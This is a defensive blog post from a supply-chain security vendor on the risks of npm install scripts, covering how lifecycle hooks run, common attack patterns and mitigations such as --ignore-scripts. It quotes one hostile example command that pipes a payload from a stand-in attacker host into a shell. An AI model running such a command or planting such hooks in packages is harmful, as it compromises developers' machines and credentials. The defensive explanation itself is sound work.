Software Supply Chain Security

npm Install Script Security: The Code That Runs Before Your Code

npm install scripts execute arbitrary code during package installation. They are the most exploited vector in JavaScript supply chain attacks.

Shadab Khan
DevSecOps Lead
4 min read

Every time you run npm install, you are executing code from every package in your dependency tree that defines lifecycle scripts. preinstall, install, and postinstall scripts run automatically, with the full privileges of your user account, before your application code even loads.

This is the single most exploited vector in JavaScript supply chain attacks. The ua-parser-js incident, the event-stream attack, the eslint-scope compromise, and dozens of less publicized attacks all leveraged install scripts to execute malicious code.

How Install Scripts Work

npm supports several lifecycle scripts defined in package.json:

  • preinstall -- runs before the package is installed
  • install -- runs after the package files are extracted
  • postinstall -- runs after the package and all its dependencies are installed
  • prepare -- runs after install and before pack

These scripts can be any command: shell scripts, Node.js scripts, binary executables. They run with the full permissions of the user running npm install.

A typical legitimate use case is compiling native addons (node-gyp rebuild in postinstall). An illegitimate use case is curl evil.com/payload | sh.

Why This Is Dangerous

Automatic execution. Install scripts run automatically unless explicitly disabled. A developer running npm install might not know which of their hundreds of transitive dependencies have install scripts, or what those scripts do.

Full user privileges. Install scripts have the same filesystem, network, and process access as the user. On a developer workstation, that is usually full access to the home directory, SSH keys, cloud credentials, and source code. In CI, it is access to deployment secrets and build artifacts.

Transitive execution. You might carefully audit your direct dependencies, but install scripts in transitive dependencies (dependencies of dependencies) also run. A popular package that adds a new dependency with an install script silently introduces script execution.

Network access. Install scripts can download and execute additional payloads from the internet. This means the malicious code does not even need to be in the npm package itself -- the install script just downloads it.

Attack Patterns

Credential exfiltration. The most common pattern. The install script reads environment variables, SSH keys, or cloud credential files and sends them to an attacker-controlled server.

Reverse shell. The install script establishes a reverse shell connection, giving the attacker interactive access to the build environment.

Cryptocurrency mining. Less sophisticated attacks use install scripts to download and run cryptocurrency miners on developer workstations and CI runners.

Source code theft. The install script reads source code from the current working directory (which is typically the project root during npm install) and exfiltrates it.

Backdoor injection. The install script modifies other packages in node_modules or injects code into the project's source files.

Defenses

Use --ignore-scripts. The nuclear option. Running npm install --ignore-scripts skips all lifecycle scripts. This breaks packages that need native compilation but eliminates the install script attack vector entirely.

For projects that do not need native addons, --ignore-scripts should be the default. Add it to .npmrc:

ignore-scripts=true

Then selectively run scripts for packages that need them:

npx node-gyp rebuild --directory=node_modules/bcrypt

Use npm audit signatures. npm now supports registry signature verification. This verifies that packages were published through the npm registry's signing process.

Lock dependencies. Use package-lock.json with exact versions. Review lockfile changes in code review. An unexpected new dependency with an install script should trigger investigation.

Monitor for install scripts. Tools like can-i-ignore-scripts and npm-audit-level can identify which packages in your dependency tree have install scripts. Review this list and investigate any unexpected entries.

Run installation in sandboxes. In CI, run npm install in a container with no network access to external servers (only the npm registry). This prevents install scripts from exfiltrating data.

Use corepack and managed registries. corepack ensures a specific package manager version is used. A managed registry (Artifactory, Verdaccio) can scan packages for malicious install scripts before making them available.

The Ecosystem Response

npm has taken steps to reduce install script risk:

  • The npm CLI warns about install scripts from new or unverified packages
  • npm audit reports packages with known vulnerabilities
  • Registry signatures provide provenance verification
  • The --foreground-scripts flag makes install script output visible

But the fundamental design -- automatic code execution during installation -- remains unchanged. Until npm changes this default, install scripts will continue to be the primary attack vector for JavaScript supply chain attacks.

How Safeguard.sh Helps

Safeguard.sh monitors your npm dependency tree for packages with install scripts, known vulnerabilities, and suspicious publication patterns. When a package in your tree is compromised through an install script attack, Safeguard.sh alerts you with the affected projects and recommended actions. Our continuous monitoring detects newly published malicious packages faster than periodic npm audit runs, giving you earlier warning of supply chain threats.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.